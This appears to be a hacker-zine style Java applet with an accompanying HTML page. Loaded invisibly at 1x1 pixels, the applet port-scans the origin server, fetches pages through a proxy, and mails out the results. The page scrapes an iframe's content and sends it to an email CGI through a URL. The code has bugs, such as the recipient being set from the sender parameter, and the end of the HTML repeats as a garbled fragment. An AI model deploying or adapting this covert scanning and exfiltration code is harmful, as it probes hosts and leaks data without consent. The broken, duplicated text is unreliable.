import java.applet.*;  
import java.util.*; 
import java.awt.*;  
import java.net.*;  
import java.io.*; 
import netscape.javascript.*; 
 
public class app extends Applet { 
 
protected JSObject win; 
protected String server=""; 
protected String openports=""; 
protected int smtp_port=25; 
protected int http_port=80; 
protected int proxy_port=3128; 
protected int start_port=0; 
protected int end_port=0; 
protected String helo_line="helo me.com"; 
protected String from_email="me@me.com"; 
protected String to_email="you@you.com"; 
protected String email_mode="script"; 
protected String http_request_list=""; 
protected String applet_mode="smtp"; 
protected String message="Default test."; 
 
public void init() { 
 
//create the JSObject comm 
win=JSObject.getWindow(this); 
 
//now assign all the params from the frame we are currently loaded. 
server=getParameter("server"); 
smtp_port=Integer.parseInt(getParameter("smtp_port"));
http_port=Integer.parseInt(getParameter("http_port"));
proxy_port=Integer.parseInt(getParameter("proxy_port"));
start_port=Integer.parseInt(getParameter("start_port"));
end_port=Integer.parseInt(getParameter("end_port"));
from_email=getParameter("from_email"); 
helo_line=getParameter("helo_line"); 
to_email=getParameter("from_email"); 
email_mode=getParameter("email_mode"); 
http_request_list=getParameter("http_request_list"); 
applet_mode=getParameter("applet_mode"); 
} 
 
public void start() { 
 
System.out.println("We are starting up..."); 
//figure out what mode we are in 
 
//if smtp go to the doSMTP method 
if (applet_mode.equals("smtp")) { 
doSmtp(); 
 
} else if (applet_mode.equals("http")){ 
//if http go to the doHTTP method 
 
doHttp(); 
 
}else if (applet_mode.equals("nmap")) { 
 
doNmap(); 
 
}else {} 
 
} 
 
public void sendEmail(String message) { 
 
	if (email_mode.equals("script")) { 
//if smtp method is by script, call the javascript func sendContentOverWeb() 
//this check is needed for HTTP mode of the applet. 
System.out.println("Calling sendContentOverWeb..."); 
	win.call("sendContentOverWeb",null); 
 
	} else { 
//else send by opening a network connection back to server we came 
System.out.println("Calling server "+server); 
String inline=""; 
String outline=""; 
	try { 
 
	InetAddress addr = InetAddress.getByName(server); 
	Socket sock = new Socket(addr, smtp_port); 
 
	BufferedReader in=new BufferedReader(new InputStreamReader(sock.getInputStream())); 
	BufferedWriter out=new BufferedWriter(new OutputStreamWriter(sock.getOutputStream())); 
	//read in server's welcome 
	inline=in.readLine(); 
System.out.println(inline); 
	//write out helo line 
	out.write(helo_line+"\n"); 
	out.flush(); 
	//read in server response 
	inline=in.readLine(); 
System.out.println(inline); 
	out.write("mail from:"+from_email+"\n"); 
	out.flush(); 
	inline=in.readLine(); 
System.out.println(inline); 
	out.write("rcpt to:"+to_email+"\n"); 
	out.flush(); 
	inline=in.readLine(); 
System.out.println(inline); 
	out.write("data"+"\n"); 
	out.flush(); 
	//write out the message 
	out.write(message+"\n"); 
	out.flush(); 
	out.write(".\n"); 
	out.flush(); 
	//read in server response 
	inline=in.readLine(); 
System.out.println(inline); 
	out.write("quit\n"); 
	out.flush(); 
	sock.close(); 
	}catch(Exception e) {System.out.println("SMTP Error: "+e);} 
	} 
} 
 
public void doSmtp() { 
 
//first figure out which smtp mode we are using 
if (email_mode.equals("script")) { 
//if script-mode, call our frame's javascript func sendContentOverWeb() 
win.call("sendContentOverWeb",null); 
 
} else { 
//else if smtp mode, call our frame's javascript func sendMessage() 
win.call("sendMessage",null); 
} 
} 
 
public void doHttp() { 
 
StringTokenizer tk=new StringTokenizer(http_request_list,"|"); 
//for each url 
while (tk.hasMoreTokens()) { 
	getURL(tk.nextToken()); 
} 
} 
 
public void getURL(String url) { 
String url_code=""; 
String inline=""; 
 
System.out.println("Contacting proxy server..."); 
try { 
        InetAddress addr = InetAddress.getByName(server); 
        Socket sock = new Socket(addr, proxy_port); 
 
        BufferedReader in=new BufferedReader(new InputStreamReader(sock.getInputStream())); 
        BufferedWriter out=new BufferedWriter(new OutputStreamWriter(sock.getOutputStream())); 
 
String str="";	 
	out.write("GET "+url+" HTTP/1.1\n"); 
	out.write("\n"); 
	out.flush(); 
	while((str=in.readLine()) !=null){ 
		url_code+=str; 
	} 
	out.close(); 
	in.close(); 
}catch (Exception pe) {System.out.println("Proxy error: "+pe);} 
 
System.out.println(url_code); 
 
sendEmail(url_code); 
} 
 
public void doNmap() { 
 
System.out.println(start_port+" "+end_port); 
openports="The following ports are open on "+server+": "; 
for (int i=start_port;i<end_port;i++) { 
 
try { 
 
InetAddress addr = InetAddress.getByName(server); 
Socket sock = new Socket(addr, i); 
openports+=i+" "; 
}catch(Exception me){System.out.println("Port "+i+" is closed.");} 
 
}//end for loop 
sendEmail(openports); 
}//end doNmap 
 
public void stop() {} 
public void destroyed(){} 
public void paint(Graphics g) {} 
}//end applet 
-------------------------------bottom.html------------------------------- 
<html>  
<script language=javascript>  
var message='';  
var http_code='';  
 
function sendMessage() {  
this.document.applets[0].sendEmail(message);  
}  
 
function sendContentOverWeb(){  
//change the line below to whatever email script you are using.  
	var url="http://www.somedomain.com/sendmail.cgi?name=Shemp&sender=shemp@NyukNyukNyuk.com&recip=curly@NyukNyukNyuk&title=My Message&text="+message;  
	this.document.location.href=url;  
}  
 
function dothis(iframe) {  
 
if (iframe.contentDocument) {  
        message=iframe.contentDocument.body.innerHTML;  
}else if (iframe.contentWindow) {  
        message=iframe.contentWindow.document.body.innerHTML;  
}else if (iframe.document) {  
        message=iframe.document.body.innerHTML;  
}  
message=message.substring(5,message.length-6);  
}  
</script>  
 
<body>  
<h1>Bottom Page</h1>  
 
<iframe src="http://www.NyukNyukNyuk.com/shemp/message.txt" name="test" onload="dothis(this);">  
</iframe>  
 
<applet code="app.class" width=1 height=1>  
<param name="helo_line" value="helo NyukNyukNyuk.com">  
<param name="server" value="10.0.0.1">  
<param name="smtp_port" value="25">  
<param name="http_port" value="80">  
<param name="proxy_port" value="3128">  
<param name="start_port" value="1">  
<param name="end_port" value="100">  
<param name="from_email" value="shemp@NyukNyukNyuk.com>  
<param name="to_email" value="curly@NyukNyukNyuk.com">  
<param name="email_mode" value="homeserver">  
<!--  
Email_mode has two options- connect to the homeserver and send an email to  
a user who has an account on the same box that the applet came from.  The  
other option is "script", meaning, use a variation of calling an email  
cgi script which allows us to send email over the internet.  
-->  
 
<param name="http_request_list" value="http://www.google.com|http://www.yahoo.com|http://www.2600.com">  
<!--Seperate items with a | -->  
 
<param name="applet_mode" value="nmap">  
<!--  
Applet_mode has three options- smtp,http, and nmap.  Smtp tells the applet  
that it will immediately send an email with the variable 'message'.  Which method it uses depends on the variable 'email_mode'.  Http tells  
the applet to  
contact a proxy server on the server of origin to get the webpage requested  
The third option tells the applet  
to try to open ports back to the server of origin to see which are open.  
-->  
</applet>  
</body></html> 
l_mode has two options- connect to the homeserver and send an email to 
a user who has an account on the same box that the applet came from.  The 
other option is "script", meaning, use a variation of calling an email 
cgi script which allows us to send email over the internet. 
--> 
 
<param name="http_request_list" value="http://www.google.com|http://www.yahoo.com|http://www.2600.com"> 
<!--Seperate items with a | --> 
 
<param name="applet_mode" value="nmap"> 
<!-- 
Applet_mode has three options- smtp,http, and nmap.  Smtp tells the applet 
that it will immediately send an email with the variable 'message'.  Which method it uses depends on the variable 'email_mode'.  Http tells 
the applet to 
contact a proxy server on the server of origin to get the webpage requested 
The third option tells the applet 
to try to open ports back to the server of origin to see which are open. 
--> 
</applet> 
</body></html>